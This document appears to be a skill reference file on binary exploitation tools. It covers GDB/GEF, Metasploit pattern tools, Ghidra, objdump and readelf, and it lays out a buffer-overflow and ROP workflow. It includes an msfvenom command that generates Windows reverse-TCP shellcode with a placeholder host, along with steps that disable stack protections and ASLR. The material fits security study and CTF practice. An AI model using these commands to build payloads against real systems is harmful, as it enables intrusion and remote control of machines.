binary-exploitation-tools

# Binary Exploitation Tools Guide This skill provides reference material for binary exploitation tools and techniques. Use it to understand tool usage, debug vulnerabilities, and craft exploits. ## Metasploit Framework ### Pattern Creation and Analysis ```bash # Generate unique pattern for buffer overflow testing pattern_create.rb -l 3000 # Length of pattern # Find offset from crashed register value pattern_offset.rb -l 3000 -q 5f97d534 # Search offset from register value # Convert assembly to opcodes nasm_shell.rb nasm> jmp esp # Get opcodes for shellcode # Scan for jump instructions in binary msfelfscan -j esi /opt/fusion/bin/level01 ``` ### Shellcode Generation ```bash # Generate reverse TCP shellcode msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> \ [EXITFUNC=thread] [-e x86/shikata_ga_nai] \ -b "\x00\x0a\x0d" -f c # Parameters: # -p: Payload type # -e: Encoder (shikata_ga_nai for polymorphic) # -b: Bad characters to avoid # -f: Output format (c, python, ruby, raw, etc.) ``` ## GDB Debugger ### Installation and Basic Usage ```bash # Install GDB apt-get install gdb # Common parameters -q # No banner -x <file> # Auto-execute GDB instructions from file -p <pid> # Attach to running process ``` ### Core Commands ```bash # Execution control run # Execute program start # Start and break at main n/next/ni # Execute next instruction (no step into) s/step/si # Execute next instruction (step into) c/continue # Continue until next breakpoint quit # Exit GDB # Register manipulation p system # Find address of system function set $eip = 0x12345678 # Change EIP register value # Disassembly disassemble main # Disassemble function disassemble 0x12345678 # Disassemble at address set disassembly-flavor intel # Use Intel syntax set follow-fork-mode child # Follow child process after fork set follow-fork-mode parent # Follow parent process # Breakpoints br func # Break at function br *func+23 # Break at function + offset br *0x12345678 # Break at address del <NUM> # Delete breakpoint by number watch EXPRESSION # Break when expression value changes # Information commands info functions # List all functions info functions func # Info about specific function info registers # Show register values bt # Backtrace stack bt full # Detailed backtrace print variable # Print variable value print 0x87654321 - 0x12345678 # Calculate expression # Memory examination (x/examine) # Format: x/<num><format><size> <address> # Formats: o=octal, x=hex, d=decimal, u=unsigned, t=bin, i=instruction, s=string, c=char # Sizes: b=byte, h=halfword(2B), w=word(4B), g=giant(8B) x/o 0xDir_hex # Examine octal at address x/2x $eip # 2 words from EIP x/2x $eip -4 # 2 words from EIP - 4 x/8xb $eip # 8 bytes from EIP i r eip # Value of EIP register x/w pointer # Value at pointer address x/s pointer # String pointed to by pointer x/xw &pointer # Address where pointer is stored x/i $eip # Instructions at EIP ``` ### GDB Enhanced Features (GEF) [GEF](https://github.com/hugsy/gef) is a GDB enhancement plugin with additional features: ```bash # Memory commands help memory # Help on memory command canary # Search for canary value in memory checksec # Check binary protections p system # Find system function address search-pattern "/bin/sh" # Search in process memory vmmap # Get memory mappings xinfo <addr> # Show page info, size, perms, offset # Memory watching memory watch 0x784000 0x1000 byte # Watch memory region memory watch $_got()+0x18 5 # Watch GOT table entry # Vulnerability detection format-string-helper # Detect insecure format strings heap-analysis-helper # Check heap issues (NULL free, UAF, double free) # Pattern tools pattern create 200 # Generate 200-byte pattern pattern search "avaaawaa" # Search for substring offset pattern search $rsp # Search offset from register value # Shellcode shellcode search x86 # Search available shellcodes shellcode get 61 # Download shellcode #61 # Memory dump dump binary memory /tmp/dump.bin 0x200000000 0x20000c350 # GOT table got # Check GOT table ``` ### Finding RIP Offset with GEF ```bash # Method to find offset to RIP: # 1. Set breakpoint after function that overwrites RIP # 2. Send pattern to overflow # 3. Use 'i f' to see saved RIP value # 4. Search pattern with that value gef➤ i f Stack level 0, frame at 0x7fffffffddd0: rip = 0x400cd3; saved rip = 0x6261617762616176 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` ### GDB Address Consistency GDB may show different addresses than the running binary. To ensure consistency: ```bash unset env LINES unset env COLUMNS set env _=<absolute_path_to_binary> # Use same absolute path when exploiting # Ensure PWD and OLDPWD are identical in both contexts ``` ### Backtrace for Function Flow For statically linked binaries, use backtrace to identify function flow: ```bash # Run binary, stop at input prompt with CTRL+C, then: gef➤ bt #0 0x00000000004498ae in ?? () #1 0x0000000000400b90 in ?? () #2 0x0000000000400c1d in ?? () #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` ### GDB Server for Remote Debugging ```bash # Start GDB server on target machine gdbserver --multi 0.0.0.0:23947 # In IDA, configure remote debugging with absolute path ``` ## Ghidra Reverse Engineering ### Finding Stack Offsets Ghidra helps identify buffer overflow offsets through local variable positions: - Local variables are shown with their offset from stack pointer - Example: `local_bc` indicates offset of 0xbc - If `local_10` is a canary, offset from `local_bc` to canary is 0xac - Remember: First 0x08 bytes where RIP is saved belong to RBP ## Compilation and Analysis Tools ### GCC Compilation Flags ```bash # Compile without protections for testing gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack \ 1.2.c -o 1.2 # Flags explained: # -fno-stack-protector: Disable stack canaries # -D_FORTIFY_SOURCE=0: Disable buffer overflow protection # -z norelro: Disable RELRO protection # -z execstack: Make stack executable # -g: Include debug symbols for GDB # -o: Output filename # Disable ASLR temporarily echo 0 > /proc/sys/kernel/randomize_va_space # Compile shellcode nasm -f elf assembly.asm # Create object file ld assembly.o -o shellcodeout # Link to executable ``` ### Objdump Analysis ```bash # Disassembly objdump -d executable # Disassemble executable sections objdump -d -Mintel executable # Intel syntax objdump -D executable # Disassemble all sections # Symbol and section analysis objdump -t executable # Symbol table objdump -s -j .dtors executable # DTORS section objdump -s -j .got executable # GOT section objdump -D -s -j .plt executable # PLT section decompiled objdump -TR executable # Relocations # Find specific addresses objdump -t --dynamic-relo ./exec | grep puts # Puts address in GOT objdump -D ./exec | grep "VAR_NAME" # Static variable address ``` ### Core Dump Analysis ```bash # Enable core dumps ulimit -c unlimited # Set core dump location sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t # Analyze core dump sudo gdb --core=<path/to/core> --quiet ``` ### Library and Function Analysis ```bash # Find libc address (changes with ASLR) ldd executable | grep libc.so.6 # Check if address changes (ASLR active) for i in $(seq 0 20); do ldd <executable> | grep libc; done # Find function offsets in libc readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system # Find string offsets in libc strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh # Trace system calls strace executable # List all function addresses rabin2 -i executable ``` ## Immunity Debugger ```bash !mona modules # Get module protections !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for JMP ESP ``` ## IDA Pro Remote Debugging ### Linux Remote Debug Setup 1. Copy `linux_server` or `linux_server64` from IDA folder to Linux target 2. Run on target: `./linux_server64 -Ppass` 3. In IDA: Debugger → Linux Remote → Process Options 4. Configure connection parameters ## Practical Workflow ### Buffer Overflow Analysis 1. **Identify vulnerability**: Use `checksec` or compile with protections disabled 2. **Find offset**: Use pattern creation and GDB/GEF to find exact offset 3. **Locate useful addresses**: Use `objdump`, `readelf`, or `strings` to find system, /bin/sh 4. **Craft payload**: Combine offset, addresses, and shellcode 5. **Test**: Use GDB to verify exploit works ### ROP Chain Construction 1. **Find gadgets**: `objdump -d -Mintel | grep ret` 2. **Locate libc functions**: `readelf -s libc.so.6 | grep system` 3. **Find strings**: `strings -a -t x libc.so.6 | grep /bin/sh` 4. **Build chain**: Stack addresses in correct order ### Shellcode Development 1. **Generate**: Use `msfvenom` for payloads 2. **Encode**: Use encoders to avoid bad characters 3. **Test**: Assemble with `nasm` and verify with `objdump` 4. **Integrate**: Place at appropriate offset in exploit ## Common Pitfalls - **ASLR**: Disable with `echo 0 > /proc/sys/kernel/randomize_va_space` or use information leak - **Bad characters**: Avoid null bytes, newlines, carriage returns in shellcode - **Address changes**: GDB addresses may differ from runtime; use consistent environment - **Static binaries**: Use backtrace to identify function flow - **Protections**: Check with `checksec` and disable for testing ## Quick Reference | Tool | Purpose | Key Command | |------|---------|-------------| | GDB | Debugging | `gdb -q ./binary` | | GEF | Enhanced GDB | `pattern create 200` | | Metasploit | Exploitation | `msfvenom -p ...` | | Ghidra | Reverse engineering | Analyze local variables | | Objdump | Binary analysis | `objdump -d -Mintel` | | Readelf | ELF analysis | `readelf -s` | | Strings | String extraction | `strings -a -t x` | | Strace | System call tracing | `strace ./binary` |